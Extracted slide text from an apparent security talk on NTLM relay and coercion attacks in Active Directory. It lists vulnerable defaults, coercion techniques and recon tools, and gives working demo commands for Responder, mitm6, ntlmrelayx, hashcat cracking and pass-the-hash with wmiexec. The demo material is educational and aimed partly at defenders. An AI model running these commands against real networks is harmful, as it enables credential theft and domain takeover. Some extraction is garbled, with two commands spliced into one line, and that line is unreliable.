




AGENDA

ÅWhythis Talk ?

ÅTheory: NTLM Relay & Methods of Coercion

ÅWhich Protocol Can be Relayed Where ?

ÅWhyit Works ?

ÅHow it Works ? : Demos

ÅQuestions ?



WHY THIS TALK ?

ÅFun, a topic close to my heart

ÅNot taught in certifications.

ÅRelatively easy and highly effective

ÅApplicable in real life.

ÅBrings awareness to blue teams

ÅMore gears toward beginner to intermediate. But if you are 
experienced, I hope that you learn a thing or two.

ÅIf you notice errors or knows better ways, please reach out.



DEMOS INDEX

Å 01 - Basic Responder

Å 02 - SimpleRelay(Local Admin SMB to SMB) 

Å 03 - Dump AD Information HTTP to LDAP (IPv6 Poisoning)

Å 04 ςFake Machine Account Creation via DHCP Poisoning (HTTP to LDAP)

Å 05 - SMB to SOCKSAD Users, Groups and Machine Accounts Dump (SOCKS)

Å 06 - Domain Administrator Privilege Escalation NetNTLM v1

Å 07 - Machine Account Admin to (ExchangeTrusted Subsystem Group) 

Å 08 - PrinterLDAP Pass Back Attack

Å 09 - MSSQLRelay via XP_DIRTREE 

Å 10 - SCCMClient Push Installation

Å 11 - Files That Coerce (SMB Share)

Å 12 - Remote Code Execution (RCE) via WebDAV to RBCD Using UnauthenticatedPetitPotam Proxy

Å 13 - Local Privilege Escalation (LPE) via WebDAV to RBCD (Change Lock Screen)

Å 14 - Local Privilege Escalation (LPE) via WebDAV to Shadow Credentials (Remote C2)

Å 15 - Unauthenticated ADCS User Templates Dump Via Web (SMB to HTTP)

Å 16 - Active Directory Certificate Services (ADCS) ESC8 via C2 (PortBender)

Å 17 - RemotePotato Privilege Escalation via RPC Protocol

Å 18 - KerberosRelay DNS Authentication via Mitm6 (Krbrelayx)

Å 19 - KerberosKrbRelayand KrbRelayUpTools Local Privilege Escalation (LPE) 

PART 2

PART 1



Why it Works ?
Not a BugLǘΩǎ ŀ Feature by Design

ÅLLMNR, NBT-NS, mDNS Enabled

ÅWPAD Automatic 

ÅLDAPS Not Enabled or Required

ÅIPv6 Preference

ÅSMB Signing Disabled (Except DCs)

ÅADCS HTTP Endpoint not HTTPS

ÅPrint Spooler Service Enabled

ÅWebDAV Client Installed but Stopped (Workstation only)

ÅMachineAccountQuota = 10

ÅAny low Privilege user can query (AD, BloodHound, Kerberoast, ADCS)



OPTION 1 
COERCION
POISON THENETWORK

LLMNR NBT-NS 
MDNS

DHCP DHCP IPV6 ARP

https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html
https://www.fox-it.com/nl-en/blog-6-mitm6-compromising-ipv4-networks-via-ipv6/

Å Responder (Linux)
Å Inveigh (PS, .Net)
Å Pretender (Cross platform , GO)

Å Responder (Linux) Å Mitm6 (Linux)
Å Inveigh (PS, .Net)

Å Bettercap (Linux)
Å * Risky

https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html
https://www.fox-it.com/nl-en/blog-6-mitm6-compromising-ipv4-networks-via-ipv6/


OPTION 2 
COERCION ON DEMAND
If I were you, I would comply.

PRINTERBUG
MS-RPRN

PETITPOTAM
MS-EFSR

DFSCOERCE
MS-DFSNM

PRIVEXCHANGE API
PUSHSUBSCRIPTION

Å Unauthenticated (DC) 
Patched

Å Authenticated

Å Authenticated
Å Authenticated 
Å DC only

Å Patched

Å Authenticated

SCCM

Å All in one tool

COERCER



What ProtocolCan be Relayed Where ?

https://www.thehacker.recipes/ad/movement/ntlm/relay@_nwodtuhs
https://en.hackndo.com/ntlm-relay/ @HackAndDo

https://www.thehacker.recipes/ad/movement/ntlm/relay
https://twitter.com/_nwodtuhs
https://en.hackndo.com/ntlm-relay/
https://twitter.com/HackAndDo


What Protocol Can be Relayed Where ?

https://www.thehacker.recipes/ad/movement/ntlm/relay
@_nwodtuhs

https://www.thehacker.recipes/ad/movement/ntlm/relay
https://twitter.com/_nwodtuhs


Recon Tools

Å https://github.com/zyn3rgy/LdapRelayScan(Python)

Å https://github.com/cube0x0/LdapSignCheck(BOF & .NET)

LDAP(S)

SMB Signing

Å https://github.com/lgandx/Responder/blob/master/tools/RunFinger.py (Python)

Å https://github.com/byt3bl33d3r/CrackMapExec(Python)

Machine Account Quota

Å https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/AddMachineAccount(BOF)

Å https://github.com/FuzzySecurity/StandIn(.NET)

Å https://github.com/Porchetta-Industries/CrackMapExec(Python)

WebDAV Client (Workstations)

Å https://github.com/Hackndo/WebclientServiceScanner(Python)

Å https://github.com/G0ldenGunSec/GetWebDAVStatus(BOF & .NET)

https://github.com/zyn3rgy/LdapRelayScan
https://github.com/cube0x0/LdapSignCheck
https://github.com/lgandx/Responder/blob/master/tools/RunFinger.py
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/AddMachineAccount
https://github.com/FuzzySecurity/StandIn
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/Hackndo/WebclientServiceScanner
https://github.com/G0ldenGunSec/GetWebDAVStatus


DEMODEMO



ÅCrack the hash to clear text password

Responder.py -I eth0

hashcat -m 5600 ./netntlmv2 ./wordlist.txt

01 - Basic Responder

https://hashcat.net/wiki/doku.php?id=example_hashes

ÅRelay it using Ntlmrelayx

SMB NetNTLM V2 HASH

https://hashcat.net/wiki/doku.php?id=example_hashes


ÅNtlmrelayx.py

02 - Simple Relay (Local Admin SMB to SMB)

https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/
https://github.com/SecureAuthCorp/impacket

nano Responder.conf (turn off smb and http)

Responder -I eth0

cme smb 192.168.1.0/24 --gen-relay-list relay.txt

ntlmrelayx.py -tf ./relay.txt -smb2support

wmiexec.py DESKTOP-A3QM67G/administrator@192.168.1.205 -hashes :HASH

https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/
https://github.com/SecureAuthCorp/impacket


Åmitm6

03 - Dump AD Information 
HTTP to LDAP (DHCP IPV6 Poisoning)

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

mitm6 -d mercedes.local

ntlmrelayx.py -6 -t ldap://dc-mercedes  --no-smb-server -wh attacker-wpad

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/


Å Clean Up (Needs DA)

04 ςFake Machine Account Creation via 
DHCP Poisoning (HTTP to LDAP)

https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html

ntlmraddcomputer.py 'mercedes.local/administrator:Alphatango999!' -dc-ip 192.168.1.7 -domain-netbiosMERCEDES.LOCAL  -
computer-name FIFFMIEL$ -deleteelayx.py -t ldaps://dc-mercedes --add-computer --no-smb-server -wh attacker-wpad

./Responder.py -I eth0 ςPdv

GetUserSPNs.py 'mercedes.local/FIFFMIEL$' -dc-ip 192.168.1.7

addcomputer.py 'mercedes.local/administrator:Alphatango999!' -dc-ip 192.168.1.7 -domain-netbiosMERCEDES.LOCAL  -
computer-name FIFFMIEL$ -delete

https://g-laurent.blogspot.com/2021/08/responders-dhcp-poisoner.html













































